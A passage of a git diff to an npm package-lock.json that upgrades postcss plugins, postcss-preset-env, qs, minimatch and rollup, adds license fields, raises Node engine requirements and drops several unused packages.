"webpack": "^5.0.0" - } - }, "node_modules/postcss-logical": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-6.2.0.tgz", - "integrity": "sha512-aqlfKGaY0nnbgI9jwUikp4gJKBqcH5noU/EdnIVceghaaDPYhZuyJVxlvWNy55tlTG5tunRKCTAX9yljLiFgmw==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-9.0.0.tgz", + "integrity": "sha512-A4LNd9dk3q/juEUA9Gd8ALhBO3TeOeYurnyHLlf2aAToD94VHR8c5Uv7KNmf8YVRhTxvWsyug4c5fKtARzyIRQ==", "dev": true, "funding": [ { @@ -35727,11 +36695,12 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" @@ -35971,9 +36940,9 @@ } }, "node_modules/postcss-nesting": { - "version": "11.3.0", - "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-11.3.0.tgz", - "integrity": "sha512-JlS10AQm/RzyrUGgl5irVkAlZYTJ99mNueUl+Qab+TcHhVedLiylWVkKBhRale+rS9yWIJK48JVzQlq3LcSdeA==", + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-14.0.0.tgz", + "integrity": "sha512-YGFOfVrjxYfeGTS5XctP1WCI5hu8Lr9SmntjfRC+iX5hCihEO+QZl9Ra+pkjqkgoVdDKvb2JccpElcowhZtzpw==", "dev": true, "funding": [ { @@ -35985,17 +36954,79 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/selector-specificity": "^2.0.0", - "postcss-selector-parser": "^6.0.10" + "@csstools/selector-resolve-nested": "^4.0.0", + "@csstools/selector-specificity": "^6.0.0", + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, + "node_modules/postcss-nesting/node_modules/@csstools/selector-resolve-nested": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-resolve-nested/-/selector-resolve-nested-4.0.0.tgz", + "integrity": "sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.1.1" + } + }, + "node_modules/postcss-nesting/node_modules/@csstools/selector-specificity": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz", + "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.1.1" + } + }, + "node_modules/postcss-nesting/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/postcss-normalize-charset": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", @@ -36140,9 +37171,9 @@ } }, "node_modules/postcss-opacity-percentage": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-2.0.0.tgz", - "integrity": "sha512-lyDrCOtntq5Y1JZpBFzIWm2wG9kbEdujpNt4NLannF+J9c8CgFIzPa80YQfdza+Y+yFfzbYj/rfoOsYsooUWTQ==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-3.0.0.tgz", + "integrity": "sha512-K6HGVzyxUxd/VgZdX04DCtdwWJ4NGLG212US4/LA1TLAbHgmAsTWVR86o+gGIbFtnTkfOpb9sCRBx8K7HO66qQ==", "dev": true, "funding": [ { @@ -36154,11 +37185,12 @@ "url": "https://liberapay.com/mrcgrtz" } ], + "license": "MIT", "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=18" }, "peerDependencies": { - "postcss": "^8.2" + "postcss": "^8.4" } }, "node_modules/postcss-ordered-values": { @@ -36179,19 +37211,26 @@ } }, "node_modules/postcss-overflow-shorthand": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-4.0.1.tgz", - "integrity": "sha512-HQZ0qi/9iSYHW4w3ogNqVNr2J49DHJAl7r8O2p0Meip38jsdnRPgiDW7r/LlLrrMBMe3KHkvNtAV2UmRVxzLIg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-7.0.0.tgz", + "integrity": "sha512-9SLpjoUdGRoRrzoOdX66HbUs0+uDwfIAiXsRa7piKGOqPd6F4ZlON9oaDSP5r1Qpgmzw5L9Ht0undIK6igJPMA==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" @@ -36207,28 +37246,9 @@ } }, "node_modules/postcss-place": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-8.0.1.tgz", - "integrity": "sha512-Ow2LedN8sL4pq8ubukO77phSVt4QyCm35ZGCYXKvRFayAwcpgB0sjNJglDoTuRdUL32q/ZC1VkPBo0AOEr4Uiw==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" - }, - "peerDependencies": { - "postcss": "^8.4" - } - }, - "node_modules/postcss-preset-env": { - "version": "8.5.1", - "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-8.5.1.tgz", - "integrity": "sha512-qhWnJJjP6ArLUINWJ38t6Aftxnv9NW6cXK0NuwcLCcRilbuw72dSFLkCVUJeCfHGgJiKzX+pnhkGiki0PEynWg==", + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-11.0.0.tgz", + "integrity": "sha512-fAifpyjQ+fuDRp2nmF95WbotqbpjdazebedahXdfBxy5sHembOLpBQ1cHveZD9ZmjK26tYM8tikeNaUlp/KfHA==", "dev": true, "funding": [ { @@ -36240,90 +37260,220 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/postcss-cascade-layers": "^3.0.1", - "@csstools/postcss-color-function": "^2.2.3", - "@csstools/postcss-color-mix-function": "^1.0.3", - "@csstools/postcss-font-format-keywords": "^2.0.2", - "@csstools/postcss-gradients-interpolation-method": "^3.0.6", - "@csstools/postcss-hwb-function": "^2.2.2", - "@csstools/postcss-ic-unit": "^2.0.4", - "@csstools/postcss-is-pseudo-class": "^3.2.1", - "@csstools/postcss-logical-float-and-clear": "^1.0.1", - "@csstools/postcss-logical-resize": "^1.0.1", - "@csstools/postcss-logical-viewport-units": "^1.0.3", - "@csstools/postcss-media-minmax": "^1.0.4", - "@csstools/postcss-media-queries-aspect-ratio-number-values": "^1.0.4", - "@csstools/postcss-nested-calc": "^2.0.2", - "@csstools/postcss-normalize-display-values": "^2.0.1", - "@csstools/postcss-oklab-function": "^2.2.3", - "@csstools/postcss-progressive-custom-properties": "^2.3.0", - "@csstools/postcss-relative-color-syntax": "^1.0.2", - "@csstools/postcss-scope-pseudo-class": "^2.0.2", - "@csstools/postcss-stepped-value-functions": "^2.1.1", - "@csstools/postcss-text-decoration-shorthand": "^2.2.4", - "@csstools/postcss-trigonometric-functions": "^2.1.1", - "@csstools/postcss-unset-value": "^2.0.1", - "autoprefixer": "^10.4.14", - "browserslist": "^4.21.9", - "css-blank-pseudo": "^5.0.2", - "css-has-pseudo": "^5.0.2", - "css-prefers-color-scheme": "^8.0.2", - "cssdb": "^7.6.0", - "postcss-attribute-case-insensitive": "^6.0.2", - "postcss-clamp": "^4.1.0", - "postcss-color-functional-notation": "^5.1.0", - "postcss-color-hex-alpha": "^9.0.2", - "postcss-color-rebeccapurple": "^8.0.2", - "postcss-custom-media": "^9.1.5", - "postcss-custom-properties": "^13.2.0", - "postcss-custom-selectors": "^7.1.3", - "postcss-dir-pseudo-class": "^7.0.2", - "postcss-double-position-gradients": "^4.0.4", - "postcss-focus-visible": "^8.0.2", - "postcss-focus-within": "^7.0.2", - "postcss-font-variant": "^5.0.0", - "postcss-gap-properties": "^4.0.1", - "postcss-image-set-function": "^5.0.2", - "postcss-initial": "^4.0.1", - "postcss-lab-function": "^5.2.3", - "postcss-logical": "^6.2.0", - "postcss-nesting": "^11.3.0", - "postcss-opacity-percentage": "^2.0.0", - "postcss-overflow-shorthand": "^4.0.1", - "postcss-page-break": "^3.0.4", - "postcss-place": "^8.0.1", - "postcss-pseudo-class-any-link": "^8.0.2", - "postcss-replace-overflow-wrap": "^4.0.0", - "postcss-selector-not": "^7.0.1", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, - "node_modules/postcss-pseudo-class-any-link": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-8.0.2.tgz", - "integrity": "sha512-FYTIuRE07jZ2CW8POvctRgArQJ43yxhr5vLmImdKUvjFCkR09kh8pIdlCwdx/jbFm7MiW4QP58L4oOUv3grQYA==", + "node_modules/postcss-preset-env": { + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-11.2.0.tgz", + "integrity": "sha512-eNYpuj68cjGjvZMoSAbHilaCt3yIyzBL1cVuSGJfvJewsaBW/U6dI2bqCJl3iuZsL+yvBobcy4zJFA/3I68IHQ==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "@csstools/postcss-alpha-function": "^2.0.3", + "@csstools/postcss-cascade-layers": "^6.0.0", + "@csstools/postcss-color-function": "^5.0.2", + "@csstools/postcss-color-function-display-p3-linear": "^2.0.2", + "@csstools/postcss-color-mix-function": "^4.0.2", + "@csstools/postcss-color-mix-variadic-function-arguments": "^2.0.2", + "@csstools/postcss-content-alt-text": "^3.0.0", + "@csstools/postcss-contrast-color-function": "^3.0.2", + "@csstools/postcss-exponential-functions": "^3.0.1", + "@csstools/postcss-font-format-keywords": "^5.0.0", + "@csstools/postcss-font-width-property": "^1.0.0", + "@csstools/postcss-gamut-mapping": "^3.0.2", + "@csstools/postcss-gradients-interpolation-method": "^6.0.2", + "@csstools/postcss-hwb-function": "^5.0.2", + "@csstools/postcss-ic-unit": "^5.0.0", + "@csstools/postcss-initial": "^3.0.0", + "@csstools/postcss-is-pseudo-class": "^6.0.0", + "@csstools/postcss-light-dark-function": "^3.0.0", + "@csstools/postcss-logical-float-and-clear": "^4.0.0", + "@csstools/postcss-logical-overflow": "^3.0.0", + "@csstools/postcss-logical-overscroll-behavior": "^3.0.0", + "@csstools/postcss-logical-resize": "^4.0.0", + "@csstools/postcss-logical-viewport-units": "^4.0.0", + "@csstools/postcss-media-minmax": "^3.0.1", + "@csstools/postcss-media-queries-aspect-ratio-number-values": "^4.0.0", + "@csstools/postcss-mixins": "^1.0.0", + "@csstools/postcss-nested-calc": "^5.0.0", + "@csstools/postcss-normalize-display-values": "^5.0.1", + "@csstools/postcss-oklab-function": "^5.0.2", + "@csstools/postcss-position-area-property": "^2.0.0", + "@csstools/postcss-progressive-custom-properties": "^5.0.0", + "@csstools/postcss-property-rule-prelude-list": "^2.0.0", + "@csstools/postcss-random-function": "^3.0.1", + "@csstools/postcss-relative-color-syntax": "^4.0.2", + "@csstools/postcss-scope-pseudo-class": "^5.0.0", + "@csstools/postcss-sign-functions": "^2.0.1", + "@csstools/postcss-stepped-value-functions": "^5.0.1", + "@csstools/postcss-syntax-descriptor-syntax-production": "^2.0.0", + "@csstools/postcss-system-ui-font-family": "^2.0.0", + "@csstools/postcss-text-decoration-shorthand": "^5.0.3", + "@csstools/postcss-trigonometric-functions": "^5.0.1", + "@csstools/postcss-unset-value": "^5.0.0", + "autoprefixer": "^10.4.24", + "browserslist": "^4.28.1", + "css-blank-pseudo": "^8.0.1", + "css-has-pseudo": "^8.0.0", + "css-prefers-color-scheme": "^11.0.0", + "cssdb": "^8.8.0", + "postcss-attribute-case-insensitive": "^8.0.0", + "postcss-clamp": "^4.1.0", + "postcss-color-functional-notation": "^8.0.2", + "postcss-color-hex-alpha": "^11.0.0", + "postcss-color-rebeccapurple": "^11.0.0", + "postcss-custom-media": "^12.0.1", + "postcss-custom-properties": "^15.0.1", + "postcss-custom-selectors": "^9.0.1", + "postcss-dir-pseudo-class": "^10.0.0", + "postcss-double-position-gradients": "^7.0.0", + "postcss-focus-visible": "^11.0.0", + "postcss-focus-within": "^10.0.0", + "postcss-font-variant": "^5.0.0", + "postcss-gap-properties": "^7.0.0", + "postcss-image-set-function": "^8.0.0", + "postcss-lab-function": "^8.0.2", + "postcss-logical": "^9.0.0", + "postcss-nesting": "^14.0.0", + "postcss-opacity-percentage": "^3.0.0", + "postcss-overflow-shorthand": "^7.0.0", + "postcss-page-break": "^3.0.4", + "postcss-place": "^11.0.0", + "postcss-pseudo-class-any-link": "^11.0.0", + "postcss-replace-overflow-wrap": "^4.0.0", + "postcss-selector-not": "^9.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, + "node_modules/postcss-preset-env/node_modules/browserslist": { + "version": "4.28.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", + "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.9.0", + "caniuse-lite": "^1.0.30001759", + "electron-to-chromium": "^1.5.263", + "node-releases": "^2.0.27", + "update-browserslist-db": "^1.2.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/postcss-preset-env/node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/postcss-pseudo-class-any-link": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-11.0.0.tgz", + "integrity": "sha512-DNFZ4GMa3C3pU5dM+UCTG1CEeLtS1ZqV5DKSqCTJQMn1G5jnd/30fS8+A7H4o5bSD3MOcnx+VgI+xPE9Z5Wvig==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.1.1" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-pseudo-class-any-link/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/postcss-reduce-initial": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", @@ -36367,24 +37517,45 @@ } }, "node_modules/postcss-selector-not": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-7.0.1.tgz", - "integrity": "sha512-1zT5C27b/zeJhchN7fP0kBr16Cc61mu7Si9uWWLoA3Px/D9tIJPKchJCkUH3tPO5D0pCFmGeApAv8XpXBQJ8SQ==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-9.0.0.tgz", + "integrity": "sha512-xhAtTdHnVU2M/CrpYOPyRUvg3njhVlKmn2GNYXDaRJV9Ygx4d5OkSkc7NINzjUqnbDFtaKXlISOBeyMXU/zyFQ==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", "dependencies": { - "postcss-selector-parser": "^6.0.10" + "postcss-selector-parser": "^7.1.1" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, + "node_modules/postcss-selector-not/node_modules/postcss-selector-parser": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", + "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/postcss-selector-parser": { "version": "6.0.15", "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.15.tgz", @@ -36564,6 +37735,7 @@ "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-6.1.1.tgz", "integrity": "sha512-mQUvGU6aUFQ+rNvTIAcZuWGRT9a6f6Yrg9bHs4ImKF+HZCEK+plBvnAZYSIQztknZF2qnzNtr6F8s0+IuptdlQ==", "dev": true, + "license": "MIT", "engines": { "node": "^14.13.1 || >=16.0.0" }, @@ -36602,6 +37774,7 @@ "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", "dev": true, + "license": "MIT", "engines": { "node": ">= 0.6.0" } @@ -36610,7 +37783,6 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true, "license": "MIT" }, "node_modules/promise.series": { @@ -36693,12 +37865,6 @@ "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==", "license": "ISC" }, - "node_modules/psl": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", - "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==", - "dev": true - }, "node_modules/pstree.remy": { "version": "1.1.8", "resolved": "https://registry.npmjs.org/pstree.remy/-/pstree.remy-1.1.8.tgz", @@ -36721,9 +37887,9 @@ } }, "node_modules/public-encrypt/node_modules/bn.js": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz", - "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==", + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz", + "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==", "dev": true, "license": "MIT" }, @@ -36744,9 +37910,9 @@ } }, "node_modules/qs": { - "version": "6.14.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.1.tgz", - "integrity": "sha512-4EK3+xJl8Ts67nLYNwqw/dsFVnCf+qR7RgXSK9jEEm9unao3njwMDdmsdvoKBKHzxd7tCYz5e5M+SnMjdtXGQQ==", + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.0.tgz", + "integrity": "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==", "license": "BSD-3-Clause", "dependencies": { "side-channel": "^1.1.0" @@ -36767,12 +37933,6 @@ "node": ">=0.4.x" } }, - "node_modules/querystringify": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", - "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", - "dev": true - }, "node_modules/queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", @@ -37062,19 +38222,6 @@ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", "license": "MIT" }, - "node_modules/react-lazy-load-image-component": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/react-lazy-load-image-component/-/react-lazy-load-image-component-1.6.0.tgz", - "integrity": "sha512-8KFkDTgjh+0+PVbH+cx0AgxLGbdTsxWMnxXzU5HEUztqewk9ufQAu8cstjZhyvtMIPsdMcPZfA0WAa7HtjQbBQ==", - "dependencies": { - "lodash.debounce": "^4.0.8", - "lodash.throttle": "^4.1.1" - }, - "peerDependencies": { - "react": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x", - "react-dom": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x" - } - }, "node_modules/react-lifecycles-compat": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", @@ -37225,6 +38372,16 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/react-refresh": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", + "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/react-remove-scroll": { "version": "2.5.5", "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.5.5.tgz", @@ -37431,21 +38588,6 @@ "node": ">= 6" } }, - "node_modules/readable-web-to-node-stream": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.2.tgz", - "integrity": "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw==", - "dependencies": { - "readable-stream": "^3.6.0" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } - }, "node_modules/readdirp": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", @@ -38293,12 +39435,6 @@ "node": ">=0.10.5" } }, - "node_modules/requires-port": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", - "dev": true - }, "node_modules/resolve": { "version": "1.22.8", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", @@ -38472,12 +39608,12 @@ } }, "node_modules/rimraf/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", "license": "ISC", "dependencies": { - "brace-expansion": "^2.0.1" + "brace-expansion": "^2.0.2" }, "engines": { "node": ">=16 || 14 >=14.17" @@ -38553,13 +39689,13 @@ "license": "Unlicense" }, "node_modules/rollup": { - "version": "4.37.0", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.37.0.tgz", - "integrity": "sha512-iAtQy/L4QFU+rTJ1YUjXqJOJzuwEghqWzCEYD2FEghT7Gsy1VdABntrO4CLopA5IkflTyqNiLNwPcOJ3S7UKLg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", "dev": true, "license": "MIT", "dependencies": { - "@types/estree": "1.0.6" + "@types/estree": "1.0.8" }, "bin": { "rollup": "dist/bin/rollup" @@ -38569,26 +39705,31 @@ "npm": ">=8.0.0" }, "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.37.0", - "@rollup/rollup-android-arm64": "4.37.0", - "@rollup/rollup-darwin-arm64": "4.37.0", - "@rollup/rollup-darwin-x64": "4.37.0", - "@rollup/rollup-freebsd-arm64": "4.37.0", - "@rollup/rollup-freebsd-x64": "4.37.0", - "@rollup/rollup-linux-arm-gnueabihf": "4.37.0", - "@rollup/rollup-linux-arm-musleabihf": "4.37.0", - "@rollup/rollup-linux-arm64-gnu": "4.37.0", - "@rollup/rollup-linux-arm64-musl": "4.37.0", - "@rollup/rollup-linux-loongarch64-gnu": "4.37.0", - "@rollup/rollup-linux-powerpc64le-gnu": "4.37.0", - "@rollup/rollup-linux-riscv64-gnu": "4.37.0", - "@rollup/rollup-linux-riscv64-musl": "4.37.0", - "@rollup/rollup-linux-s390x-gnu": "4.37.0", - "@rollup/rollup-linux-x64-gnu": "4.37.0", - "@rollup/rollup-linux-x64-musl": "4.37.0", - "@rollup/rollup-win32-arm64-msvc": "4.37.0", - "@rollup/rollup-win32-ia32-msvc": "4.37.0", - "@rollup/rollup-win32-x64-msvc": "4.37.0", + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": 